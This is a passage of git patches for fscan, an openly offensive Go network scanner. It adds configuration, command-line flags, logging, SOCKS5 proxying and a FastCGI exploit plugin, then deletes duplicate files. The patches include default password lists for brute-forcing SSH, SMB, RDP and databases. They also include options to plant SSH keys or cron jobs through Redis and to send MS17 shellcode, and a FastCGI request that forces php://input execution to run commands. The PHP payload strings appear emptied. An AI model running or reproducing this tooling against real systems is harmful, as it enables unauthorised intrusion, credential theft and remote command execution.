"80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880", + "all": "1-65535", + "main": "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017", +} +var Outputfile = "result.txt" +var IsSave = true +var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" +var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" + +type PocInfo struct { + Target string + PocName string +} + +var ( + Ports string + Path string + Scantype string + Command string + SshKey string + Domain string + Username string + Password string + Proxy string + Timeout int64 = 3 + WebTimeout int64 = 5 + TmpSave bool + NoPing bool + Ping bool + Pocinfo PocInfo + NoPoc bool + IsBrute bool + RedisFile string + RedisShell string + Userfile string + Passfile string + Hashfile string + HostFile string + PortFile string + PocPath string + Threads int + URL string + UrlFile string + Urls []string + NoPorts string + NoHosts string + SC string + PortAdd string + UserAdd string + PassAdd string + BruteThread int + LiveTop int + Socks5Proxy string + Hash string + Hashs []string + HashBytes [][]byte + HostPort []string + IsWmi bool + Noredistest bool +) + +var ( + UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" + Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" + DnsLog bool + PocNum int + PocFull bool + CeyeDomain string + ApiKey string + Cookie string +) diff --git a/Common/Flag.go b/Common/Flag.go new file mode 100644 index 0000000..bdbf244 --- /dev/null +++ b/Common/Flag.go @@ -0,0 +1,94 @@ +package Common + +import ( + "flag" + "github.com/shadow1ng/fscan/Config" +) + +func Banner() { + banner := ` + ___ _ + / _ \ ___ ___ _ __ __ _ ___| | __ + / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / +/ /_\\_____\__ \ (__| | | (_| | (__| < +\____/ |___/\___|_| \__,_|\___|_|\_\ + fscan version: ` + version + ` +` + print(banner) +} + +func Flag(Info *Config.HostInfo) { + Banner() + + // 目标配置 + flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") + flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24") + flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306") + flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389") + flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445") + + // 认证配置 + flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera user") + flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password") + flag.StringVar(&Username, "user", "", "用户名") + flag.StringVar(&Password, "pwd", "", "密码") + flag.StringVar(&Domain, "domain", "", "域名(用于SMB)") + flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)") + + // 扫描配置 + flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh") + flag.IntVar(&Threads, "t", 600, "线程数量") + flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)") + flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量") + flag.BoolVar(&NoPing, "np", false, "禁用存活探测") + flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP") + flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)") + + // 文件配置 + flag.StringVar(&HostFile, "hf", "", "主机列表文件") + flag.StringVar(&Userfile, "userf", "", "用户名字典") + flag.StringVar(&Passfile, "pwdf", "", "密码字典") + flag.StringVar(&Hashfile, "hashf", "", "Hash字典") + flag.StringVar(&PortFile, "portf", "", "端口列表文件") + + // Web配置 + flag.StringVar(&URL, "u", "", "目标URL") + flag.StringVar(&UrlFile, "uf", "", "URL列表文件") + flag.StringVar(&Cookie, "cookie", "", "设置Cookie") + flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间") + flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理") + flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)") + + // POC配置 + flag.StringVar(&PocPath, "pocpath", "", "POC文件路径") + flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic") + flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描") + flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key") + flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证") + flag.IntVar(&PocNum, "num", 20, "POC并发数") + + // Redis利用配置 + flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件") + flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务") + flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测") + + // 暴力破解配置 + flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破") + flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数") + + // 其他配置 + flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径") + flag.StringVar(&Hash, "hash", "", "Hash值") + flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode") + flag.BoolVar(&IsWmi, "wmi", false, "启用WMI") + + // 输出配置 + flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件") + flag.BoolVar(&TmpSave, "no", false, "禁用结果保存") + flag.BoolVar(&Silent, "silent", false, "静默扫描模式") + flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出") + flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出") + flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔") + + flag.Parse() +} diff --git a/Common/Log.go b/Common/Log.go new file mode 100644 index 0000000..5669298 --- /dev/null +++ b/Common/Log.go @@ -0,0 +1,172 @@ +package Common + +import ( + "encoding/json" + "fmt" + "github.com/fatih/color" + "io" + "log" + "os" + "strings" + "sync" + "time" +) + +// 记录扫描状态的全局变量 +var ( + Num int64 // 总任务数 + End int64 // 已完成数 + Results = make(chan *string) // 结果通道 + LogSucTime int64 // 最近成功日志时间 + LogErrTime int64 // 最近错误日志时间 + WaitTime int64 // 等待时间 + Silent bool // 静默模式 + Nocolor bool // 禁用颜色 + JsonOutput bool // JSON输出 + LogWG sync.WaitGroup // 日志同步等待组 +) + +// JsonText JSON输出的结构体 +type JsonText struct { + Type string `json:"type"` // 消息类型 + Text string `json:"text"` // 消息内容 +} + +// init 初始化日志配置 +func init() { + log.SetOutput(io.Discard) + LogSucTime = time.Now().Unix() + go SaveLog() +} + +// LogSuccess 记录成功信息 +func LogSuccess(result string) { + LogWG.Add(1) + LogSucTime = time.Now().Unix() + Results <- &result +} + +// SaveLog 保存日志信息 +func SaveLog() { + for result := range Results { + // 打印日志 + if !Silent { + if Nocolor { + fmt.Println(*result) + } else { + switch { + case strings.HasPrefix(*result, "[+] 信息扫描"): + color.Green(*result) + case strings.HasPrefix(*result, "[+]"): + color.Red(*result) + default: + fmt.Println(*result) + } + } + } + + // 保存到文件 + if IsSave { + WriteFile(*result, Outputfile) + } + LogWG.Done() + } +} + +// WriteFile 写入文件 +func WriteFile(result string, filename string) { + // 打开文件 + fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) + if err != nil { + fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) + return + } + defer fl.Close() + + if JsonOutput { + // 解析JSON格式 + var scantype, text string + if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { + index := strings.Index(result[4:], " ") + if index == -1 { + scantype = "msg" + text = result[4:] + } else { + scantype = result[4 : 4+index] + text = result[4+index+1:] + } + } else { + scantype = "msg" + text = result + } + + // 构造JSON对象 + jsonText := JsonText{ + Type: scantype, + Text: text, + } + + // 序列化JSON + jsonData, err := json.Marshal(jsonText) + if err != nil { + fmt.Printf("[!] JSON序列化失败: %v\n", err) + jsonText = JsonText{ + Type: "msg", + Text: result, + } + jsonData, _ = json.Marshal(jsonText) + } + jsonData = append(jsonData, []byte(",\n")...) + _, err = fl.Write(jsonData) + } else { + _, err = fl.Write([]byte(result + "\n")) + } + + if err != nil { + fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err) + } +} + +// LogError 记录错误信息 +func LogError(errinfo interface{}) { + if WaitTime == 0 { + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) + } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) + LogErrTime = time.Now().Unix() + } +} + +// CheckErrs 检查是否为已知错误 +func CheckErrs(err error) bool { + if err == nil { + return false + } + + // 已知错误列表 + errs := []string{ + "远程主机关闭连接", + "连接数过多", + "连接超时", + "EOF", + "连接尝试失败", + "建立连接失败", + "无法连接", + "无法读取数据", + "不允许连接", + "无pg_hba.conf配置项", + "无法建立连接", + "无效的数据包大小", + "连接异常", + } + + // 检查错误是否匹配 + errLower := strings.ToLower(err.Error()) + for _, key := range errs { + if strings.Contains(errLower, strings.ToLower(key)) { + return true + } + } + + return false +} diff --git a/Common/Proxy.go b/Common/Proxy.go new file mode 100644 index 0000000..f8af40e --- /dev/null +++ b/Common/Proxy.go @@ -0,0 +1,78 @@ +package Common + +import ( + "errors" + "fmt" + "golang.org/x/net/proxy" + "net" + "net/url" + "strings" + "time" +) + +// WrapperTcpWithTimeout 创建一个带超时的TCP连接 +func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { + d := &net.Dialer{Timeout: timeout} + return WrapperTCP(network, address, d) +} + +// WrapperTCP 根据配置创建TCP连接 +func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) { + // 直连模式 + if Socks5Proxy == "" { + conn, err := forward.Dial(network, address) + if err != nil { + return nil, fmt.Errorf("建立TCP连接失败: %v", err) + } + return conn, nil + } + + // Socks5代理模式 + dialer, err := Socks5Dialer(forward) + if err != nil { + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) + } + + conn, err := dialer.Dial(network, address) + if err != nil { + return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err) + } + + return conn, nil +} + +// Socks5Dialer 创建Socks5代理拨号器 +func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) { + // 解析代理URL + u, err := url.Parse(Socks5Proxy) + if err != nil { + return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err) + } + + // 验证代理类型 + if strings.ToLower(u.Scheme) != "socks5" { + return nil, errors.New("仅支持socks5代理") + } + + address := u.Host + var dialer proxy.Dialer + + // 根据认证信息创建代理 + if u.User.String() != "" { + // 使用用户名密码认证 + auth := proxy.Auth{ + User: u.User.Username(), + } + auth.Password, _ = u.User.Password() + dialer, err = proxy.SOCKS5("tcp", address, &auth, forward) + } else { + // 无认证模式 + dialer, err = proxy.SOCKS5("tcp", address, nil, forward) + } + + if err != nil { + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) + } + + return dialer, nil +} diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go new file mode 100644 index 0000000..ba7b696 --- /dev/null +++ b/Plugins/FcgiScan.go @@ -0,0 +1,376 @@ +package Plugins + +import ( + "bufio" + "bytes" + "encoding/binary" + "errors" + "fmt" + "github.com/shadow1ng/fscan/Common" + "github.com/shadow1ng/fscan/Config" + "io" + "strconv" + "strings" + "sync" + "time" +) + +//links +//https://xz.aliyun.com/t/9544 +//https://github.com/wofeiwo/webcgi-exploits + +// FcgiScan 执行FastCGI服务器漏洞扫描 +func FcgiScan(info *Config.HostInfo) error { + // 如果设置了暴力破解模式则跳过 + if Common.IsBrute { + return nil + } + + // 设置目标URL路径 + url := "/etc/issue" + if Common.Path != "" { + url = Common.Path + } + addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) + + // 构造PHP命令注入代码 + var reqParams string + var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 + + switch { + case Common.Command == "read": + reqParams = "" // 读取模式 + case Common.Command != "": + reqParams = fmt.Sprintf("", Common.Command, cutLine) // 自定义命令 + default: + reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami + } + + // 设置FastCGI环境变量 + env := map[string]string{ + "SCRIPT_FILENAME": url, + "DOCUMENT_ROOT": "/", + "SERVER_SOFTWARE": "go / fcgiclient ", + "REMOTE_ADDR": "127.0.0.1", + "SERVER_PROTOCOL": "HTTP/1.1", + } + + // 根据请求类型设置对应的环境变量 + if len(reqParams) != 0 { + env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) + env["REQUEST_METHOD"] = "POST" + env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input" + } else { + env["REQUEST_METHOD"] = "GET" + } + + // 建立FastCGI连接 + fcgi, err := New(addr, Common.Timeout) + defer func() { + if fcgi.rwc != nil { + fcgi.rwc.Close() + } + }() + if err != nil { + fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err + } + + // 发送FastCGI请求 + stdout, stderr, err := fcgi.Request(env, reqParams) + if err != nil { + fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err + } + + // 处理响应结果 + output := string(stdout) + var result string + + if strings.Contains(output, cutLine) { + // 命令执行成功,提取输出结果 + output = strings.SplitN(output, cutLine, 2)[0] + if len(stderr) > 0 { + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) + } else { + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, output) + } + Common.LogSuccess(result) + } else if strings.Contains(output, "File not found") || + strings.Contains(output, "Content-type") || + strings.Contains(output, "Status") { + // 目标存在FastCGI服务但可能路径错误 + if len(stderr) > 0 { + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) + } else { + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", + info.Host, info.Ports, output) + } + Common.LogSuccess(result) + } + + return nil +} + +// for padding so we don't have to allocate all the time +// not synchronized because we don't care what the contents are +var pad [maxPad]byte + +const ( + FCGI_BEGIN_REQUEST uint8 = iota + 1 + FCGI_ABORT_REQUEST + FCGI_END_REQUEST + FCGI_PARAMS + FCGI_STDIN + FCGI_STDOUT + FCGI_STDERR +) + +const ( + FCGI_RESPONDER uint8 = iota + 1 +) + +const ( + maxWrite = 6553500 // maximum record body + maxPad = 255 +) + +type header struct { + Version uint8 + Type uint8 + Id uint16 + ContentLength uint16 + PaddingLength uint8 + Reserved uint8 +} + +func (h *header) init(recType uint8, reqId uint16, contentLength int) { + h.Version = 1 + h.Type = recType + h.Id = reqId + h.ContentLength = uint16(contentLength) + h.PaddingLength = uint8(-contentLength & 7) +} + +type record struct { + h header + buf [maxWrite + maxPad]byte +} + +func (rec *record) read(r io.Reader) (err error) { + if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil { + return err + } + if rec.h.Version != 1 { + return errors.New("fcgi: invalid header version") + } + n := int(rec.h.ContentLength) + int(rec.h.PaddingLength) + if _, err = io.ReadFull(r, rec.buf[:n]); err != nil { + return err + } + return nil +} + +func (r *record) content() []byte { + return r.buf[:r.h.ContentLength] +} + +type FCGIClient struct { + mutex sync.Mutex + rwc io.ReadWriteCloser + h header + buf bytes.Buffer + keepAlive bool +} + +func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { + conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) + fcgi = &FCGIClient{ + rwc: conn, + keepAlive: false, + } + return +} + +func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) { + c.mutex.Lock() + defer c.mutex.Unlock() + c.buf.Reset() + c.h.init(recType, reqId, len(content)) + if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil { + return err + } + if _, err := c.buf.Write(content); err != nil { + return err + } + if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil { + return err + } + _, err = c.rwc.Write(c.buf.Bytes()) + return err +} + +func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error { + b := [8]byte{byte(role >> 8), byte(role), flags} + return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) +} + +func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error { + b := make([]byte, 8) + binary.BigEndian.PutUint32(b, uint32(appStatus)) + b[4] = protocolStatus + return c.writeRecord(FCGI_END_REQUEST, reqId, b) +} + +func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { + w := newWriter(c, recType, reqId) + b := make([]byte, 8) + for k, v := range pairs { + n := encodeSize(b, uint32(len(k))) + n += encodeSize(b[n:], uint32(len(v))) + if _, err := w.Write(b[:n]); err != nil { + return err + } + if _, err := w.WriteString(k); err != nil { + return err + } + if _, err := w.WriteString(v); err != nil { + return err + } + } + w.Close() + return nil +} + +func readSize(s []byte) (uint32, int) { + if len(s) == 0 { + return 0, 0 + } + size, n := uint32(s[0]), 1 + if size&(1<<7) != 0 { + if len(s) < 4 { + return 0, 0 + } + n = 4 + size = binary.BigEndian.Uint32(s) + size &^= 1 << 31 + } + return size, n +} + +func readString(s []byte, size uint32) string { + if size > uint32(len(s)) { + return "" + } + return string(s[:size]) +} + +func encodeSize(b []byte, size uint32) int { + if size > 127 { + size |= 1 << 31 + binary.BigEndian.PutUint32(b, size) + return 4 + } + b[0] = byte(size) + return 1 +} + +// bufWriter encapsulates bufio.Writer but also closes the underlying stream when +// Closed. +type bufWriter struct { + closer io.Closer + *bufio.Writer +} + +func (w *bufWriter) Close() error { + if err := w.Writer.Flush(); err != nil { + w.closer.Close() + return err + } + return w.closer.Close() +} + +func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter { + s := &streamWriter{c: c, recType: recType, reqId: reqId} + w := bufio.NewWriterSize(s, maxWrite) + return &bufWriter{s, w} +} + +// streamWriter abstracts out the separation of a stream into discrete records. +// It only writes maxWrite bytes at a time. +type streamWriter struct { + c *FCGIClient + recType uint8 + reqId uint16 +} + +func (w *streamWriter) Write(p []byte) (int, error) { + nn := 0 + for len(p) > 0 { + n := len(p) + if n > maxWrite { + n = maxWrite + } + if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil { + return nn, err + } + nn += n + p = p[n:] + } + return nn, nil +} + +func (w *streamWriter) Close() error { + // send empty record to close the stream + return w.c.writeRecord(w.recType, w.reqId, nil) +} + +func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) { + + var reqId uint16 = 1 + defer c.rwc.Close() + + err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0) + if err != nil { + return + } + err = c.writePairs(FCGI_PARAMS, reqId, env) + if err != nil { + return + } + if len(reqStr) > 0 { + err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr)) + if err != nil { + return + } + } + + rec := &record{} + var err1 error + + // recive untill EOF or FCGI_END_REQUEST + for { + err1 = rec.read(c.rwc) + if err1 != nil { + if err1 != io.EOF { + err = err1 + } + break + } + switch { + case rec.h.Type == FCGI_STDOUT: + retout = append(retout, rec.content()...) + case rec.h.Type == FCGI_STDERR: + reterr = append(reterr, rec.content()...) + case rec.h.Type == FCGI_END_REQUEST: + fallthrough + default: + break + } + } + + return +} From 6a84d0cf8aaeab83156d31a13395b35953dd2af3 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:54:15 +0800 Subject: [PATCH 44/80] =?UTF-8?q?refacor:=20=E5=A4=A7=E5=B0=8F=E5=86=99?= =?UTF-8?q?=E6=95=8F=E6=84=9F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/config.go | 107 ----------------------------- common/flag.go | 94 -------------------------- common/log.go | 172 ----------------------------------------------- common/proxy.go | 78 --------------------- 4 files changed, 451 deletions(-) delete mode 100644 common/config.go delete mode 100644 common/flag.go delete mode 100644 common/log.go delete mode 100644 common/proxy.go diff --git a/common/config.go b/common/config.go deleted file mode 100644 index 6dd46ae..0000000 --- a/common/config.go +++ /dev/null @@ -1,107 +0,0 @@ -package Common - -var version = "1.8.4" -var Userdict = map[string][]string{ - "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, - "mysql": {"root", "mysql"}, - "mssql": {"sa", "sql"}, - "smb": {"administrator", "admin", "guest"}, - "rdp": {"administrator", "admin", "guest"}, - "postgresql": {"postgres", "admin"}, - "ssh": {"root", "admin"}, - "mongodb": {"root", "admin"}, - "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, -} - -var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} - -var PortGroup = map[string]string{ - "ftp": "21", - "ssh": "22", - "findnet": "135", - "netbios": "139", - "smb": "445", - "mssql": "1433", - "oracle": "1521", - "mysql": "3306", - "rdp": "3389", - "psql": "5432", - "redis": "6379", - "fcgi": "9000", - "mem": "11211", - "mgo": "27017", - "ms17010": "445", - "cve20200796": "445", - "service": "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017", - "db": "1433,1521,3306,5432,6379,11211,27017", - "web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880", - "all": "1-65535", - "main": "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017", -} -var Outputfile = "result.txt" -var IsSave = true -var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" -var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" - -type PocInfo struct { - Target string - PocName string -} - -var ( - Ports string - Path string - Scantype string - Command string - SshKey string - Domain string - Username string - Password string - Proxy string - Timeout int64 = 3 - WebTimeout int64 = 5 - TmpSave bool - NoPing bool - Ping bool - Pocinfo PocInfo - NoPoc bool - IsBrute bool - RedisFile string - RedisShell string - Userfile string - Passfile string - Hashfile string - HostFile string - PortFile string - PocPath string - Threads int - URL string - UrlFile string - Urls []string - NoPorts string - NoHosts string - SC string - PortAdd string - UserAdd string - PassAdd string - BruteThread int - LiveTop int - Socks5Proxy string - Hash string - Hashs []string - HashBytes [][]byte - HostPort []string - IsWmi bool - Noredistest bool -) - -var ( - UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" - Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" - DnsLog bool - PocNum int - PocFull bool - CeyeDomain string - ApiKey string - Cookie string -) diff --git a/common/flag.go b/common/flag.go deleted file mode 100644 index bdbf244..0000000 --- a/common/flag.go +++ /dev/null @@ -1,94 +0,0 @@ -package Common - -import ( - "flag" - "github.com/shadow1ng/fscan/Config" -) - -func Banner() { - banner := ` - ___ _ - / _ \ ___ ___ _ __ __ _ ___| | __ - / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / -/ /_\\_____\__ \ (__| | | (_| | (__| < -\____/ |___/\___|_| \__,_|\___|_|\_\ - fscan version: ` + version + ` -` - print(banner) -} - -func Flag(Info *Config.HostInfo) { - Banner() - - // 目标配置 - flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") - flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24") - flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306") - flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389") - flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445") - - // 认证配置 - flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera 